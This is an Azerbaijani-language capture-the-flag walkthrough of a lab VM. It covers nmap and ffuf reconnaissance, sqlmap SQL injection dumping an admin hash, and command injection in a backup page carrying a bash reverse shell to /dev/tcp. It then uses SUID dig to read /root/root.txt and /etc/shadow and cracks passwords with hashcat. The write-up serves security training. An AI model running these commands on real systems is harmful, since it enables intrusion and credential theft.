KT_CTF01 CTF Həlli Sadə İzahla(Writeup)
CTF nədir? CTF həlli nədir? KT_CTF01 həlli necədir? Xaker.az-da CTF həlli
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
KT_CTF01 Haqqında
KT_CTF01 CTF maşını Azərbaycanın Telegram segmentində Kibertehlukesizlik kanalının yayınladığı CTF maşınıdır. ZİP faylı qismində ölçüsü təxmini 880 Mb-dir.Hələki maşın Vmware üzərində yaradılmış və istifadə olunmuşdur. Əgər Tryhackme platformasına yüklənərsə, aşağı hissədə CTF işləmək üçün link qoyulacaqdır.Çətinlik səviyyəsi olaraq maşının səviyyəsi Orta olaraq dəyərləndirilmişdir.
Hələki CTF maşını əldə etmək üçün: https://t.me/KiberTehlukesizlikChat/24385
Əgər belə yerli CTFləri həll etmək istəyirsinizsə, XAKER.AZ saytının hazırlamış olduğu BUTA CTF işləyə bilərsiniz.BUTA CTF başlanğıc səviyyə üçün dizayn edilmişdir, ancaq sizi bir qədər araşdırmağa sövq edəcəkdir.
https://tryhackme.com/jr/butactf
İndi isə keçək KT_CTF01 CTF maşınını həll etməyə!
Məlumat toplamaq
İlk öncə quraşdırdığımız maşını Kali Linux maşınımız ilə eyni şəbəkəyə daxil edirik və İP adresini öyrənməyə çalışırıq. Bunun üçün Nmap alətindən istifadə edirik.
nmap -sn 192.168.10.0/24

Hədəf maşınımızın İP adresi 192.168.10.43-dür. Kali Linux cihazının ip adresi isə 192.168.10.40-dır. Bunları bilərək hədəf maşını nmap ilə daha ətraflı skan edək.
nmap -p- 192.168.10.43

Skan nəticəsində hədəf maşının iki portunun (22 və 80) açıq olduğunu təyin edə bilərik. Portları daha ətraflı skan edək və nəticə ilə tanış olaq:
nmap -p22,80 -sV -sC 192.168.10.43 -T4
İzah:
-p — parametri portları təyin edir.
-sV — portların servislərinin versiyalarını təyin edir.
-sC — hədəf servislərə uyğun skriptlərin icra edir.
-T4 — əməliyyatın tez yerinə yetirilməsini təmin edir.

Qovluq və Faylların Kəşfiyyatı
Hədəf sayt üzərində ffuf aləti ilə qovluqları və faylları üzərində kəşfiyyat aparırıq:
ffuf -u "http://192.168.10.43/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -ic -e .php,.html,.sql,.bak,.md,.txt

Saytın qovluqlarına daxil olmaq istədikdə 403 Forbidden xətası ilə qarşılaşırıq. Həmin qovluqların daxilindəki faylları tapmağa çalışaq və admin qovluğunu yoxlayaq:
ffuf -u "http://192.168.10.43/admin/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -ic -e .php,.html,.sql,.bak,.md,.txt

/admin/login.php ünvanına daxil olduqda saytın admin panelinin giriş səhifəsini əldə etdiyimizi görə bilərik.

Exploitin tapılması
Hədəf servislərin versiyaları üzrə exploit axtardıqda onların exploitlərinin olmadığını görə bilərik. Bunun üçün hədəf maşının veb bovser ilə daxil oluruq.

Daxil olduğumuz zaman hədəf maşında futbol blogu saytının olduğunu görürük və saytın funksionallığı tanış oluruq. Biraz araşdırma sonrası saytın üzərində bir veb zəifliyin təyin edirik. Bu zəiflik SQL İnjectio zəifliyidir və category.php?cat= hissəsində yer alır.

Bunu doğrulamaq üçün cat parametrinin dəyərinin sonuna ‘ işarəsini əlavə edib müşahidə edək.

SQL Errorunu görməyimiz zəifliyin tam olaraq var olduğunu bildirir. İndi isə keçək zəifliyin exploit edilməsinə!
SQLİ Exploit Edilməsi
Zəifliyi təyin etdiyimiz URL adresini SQLMAP alətinə daxil edərək hədəf maşının verilənlər bazalarını görüntüləyiriik.
sqlmap -u "http://192.168.10.43/category.php?cat=turnir-analizi" --dbs

Bizim üçün əhəmiyyətli olan verilənlər bazası futbol_blog verilənlər bazasıdır. Onun cədvəllərini görüntüləyirik.
sqlmap -u "http://192.168.10.43/category.php?cat=turnir-analizi" -D futbol_blog -tables

Cədvəllərin arasında kritik məlumat daşıyan users cədvəlini dump edirik və admin istifadəçisinin istifadəçi adını və parolunun hash dəyərini əldə edirik.
sqlmap -u "http://192.168.10.43/category.php?cat=turnir-analizi" -D futbol_blog -T users --dump

Əldə olunan məlumatlar:
- İstifadəçi adı: admin
- Parolun hash dəyəri: 29811c6070379dd69bb820487301189e
Parolun hash dəyərinin md5 olduğunu görürük və online hash qıran saytların biridə crack etməyə çalışırıq. Bunun üçün mən hashes.com saytından istifadə etdim:

Hashin crack olunmuş versiyası əldə edirik və parolu super-admin olduğunu görürük. Əvvəlcədən tapdığımız saytın admin panelinin giriş səhifəsinə gəlirik və əlimizdə məlumatları daxil edirik.

Admin paneli araşdırdığımız zaman admin/manage_categories.php səhifəsində CTF maşının bir flag ilə qarşılaşırıq.
FLAG 1 : KT{webfl@g_csx63lp13s9qzkt6}

admin/backup.php hissəsində verilənlər bazasının adına uyğun olaraq backup yaradan bir səhifəni kəşf edirik. Həmin səhifənin funksionallığını təyin etmək üçün verilənlər bazasının adına müxtəlif dəyişikliklər aparırıq.
futbol_blog; pwd;
Bu yazını daxil edirik və əldə etdiyimiz xətadan səhifənin arxa fonda hansı kommanda yerinə yetirdiyini təyin edirik.

Səhifənin arxa fonda aşağıdakı kommandanı yerinə yetirdiyini deyə bilərik:
mysqldump -u dbuser -pDb167985 futbol_blog > /tmp/backup_2025-06-30_01-31-22.sql 2>&1
Kommandanın birbaşa hədəf maşında yerinə yetirildiyindən və filtrlənmə yerinə yetirmədən reverse shell əldə etmək üçün biz öz kommandamızı daxil edə bilərik:
futbol_blog; bash -c 'bash -i >& /dev/tcp/192.168.10.40/4444 0>&1'
izah
- 192.168.10.40 ip adresi Kali Linux cihazın ip adresidir.
- 4444 portu isə bizim netcat aləti ilə dinləyəcəyimiz portdur.
Kommandanı daxil edirik və hədəf maşından www-data qismində reverse shell əldə edirik.

Netcat ilə dinləyimiz zaman:

Hədəf maşın üzərində kəşfiyyatı yerinə yetirdikdən sonra /home/webmaster qovluğu altında local.txt adında faylda 2-ci flagin yerləşdiyini görürük.

2-ci FLAG: KT{l0cal_f146_z12c0zp9nvk2slpb}
Səlahiyyət Artırma (Privilege Escalation)
Hədəfdə səlahiyyət artırma üzrə əməliyyatları yerinə yetirdiyimiz zaman SUİD biti olan faylları üzərində Linux əməliyyat sistemi üçün xarakterik olmayan /usr/bin/dig alətini görə bilərik.
find / -type f -perm -04000 2>/dev/null

Bu zəifliyi bir daha təsdiqləmək üçü hədəf maşının /tmp qovluğuna Linpeas alətini endirik və icra edirik və nəticələrə baxdığımız zamanı dig alətini bir daha görürük.
www-data@ubuntu:/tmp$ wget http://192.168.10.40/linpeas.sh
wget http://192.168.10.40/linpeas.sh
--2025-06-29 23:44:59-- http://192.168.10.40/linpeas.sh
Connecting to 192.168.10.40:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 853290 (833K) [text/x-sh]
Saving to: 'linpeas.sh'
0K .......... .......... .......... .......... .......... 6% 14.3M 0s
50K .......... .......... .......... .......... .......... 12% 18.8M 0s
100K .......... .......... .......... .......... .......... 18% 30.2M 0s
150K .......... .......... .......... .......... .......... 24% 45.0M 0s
200K .......... .......... .......... .......... .......... 30% 41.7M 0s
250K .......... .......... .......... .......... .......... 36% 56.9M 0s
300K .......... .......... .......... .......... .......... 42% 43.9M 0s
350K .......... .......... .......... .......... .......... 48% 35.3M 0s
400K .......... .......... .......... .......... .......... 54% 139M 0s
450K .......... .......... .......... .......... .......... 60% 54.8M 0s
500K .......... .......... .......... .......... .......... 66% 58.2M 0s
550K .......... .......... .......... .......... .......... 72% 97.3M 0s
600K .......... .......... .......... .......... .......... 78% 173M 0s
650K .......... .......... .......... .......... .......... 84% 220M 0s
700K .......... .......... .......... .......... .......... 90% 104M 0s
750K .......... .......... .......... .......... .......... 96% 67.7M 0s
800K .......... .......... .......... ... 100% 127M=0.02s
2025-06-29 23:44:59 (45.8 MB/s) - 'linpeas.sh' saved [853290/853290]
www-data@ubuntu:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@ubuntu:/tmp$ ./linpeas.sh

dig alətinin Privielege Escalation istifadə etmək üçün https://gtfobins.github.io/gtfobins/dig/#suid səhifəsinə daxil oluruq və SUİD bitinə uyğun exploitin yerinə yetirilməsi qaydasını görürük.

Bizim bu maşında oxumaq istədiyimiz fayl /root/root.txt faylıdır ki, 3-cü flag həmin faylın içindədir.
www-data@ubuntu:/tmp$ LFILE=/root/root.txt
www-data@ubuntu:/tmp$ dig -f $LFILE

3-cü FLAG: KT{r00t_flag_6c6fgd3ewxv89ogh}
Sadəcə flag əldə etmək ilə yetinməyərək LFİLE dəyişənini /etc/shadow təyin edərək. /etc/shadow faylın tərkibini oxuyaq passwd faylı ilə birləşdirərək parolları qırmaq mümkündür.


Burada root istifədəçisinin bloklandığını və hash dəyərinin olmadığını görürük. Parolları təyin etmək üçün 2 istifadəçi kt və webmaster qalmışdır.
unshadow passwd shadow > hash.txt
Əldə etdiyimiz passwd shadow fayllarının hashlərini qırmaq üçün uyğun hala gətiririk və hashcat istifadəsi ilə əməliyyatı yerinə yetiririk.
hashcat.exe -a 0 -m 1800 hash.txt rockyou.txt

webmaster istifadəçisinin parolunun Ronaldo olduğunu öyrəndik.
Nəticə
Son olaraq CTF maşının veb hissəsində 2 veb zəifliyi və server daxilində SUİD biti üzər zəifliyi istismar edilərək hədəf maşın exploit edilmişdir.CTFlərin yerli mənbələr tərəfindən dərc edilməsi qürurvericidir və heç də digər CTFlərdən geri qalmır.
Və beləliklə biz KT_CTF01 CTF maşınını həll etmiş olduq. Oxuduğunuz və CTF həll etdiyiniz üçün təşəkürlər!
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat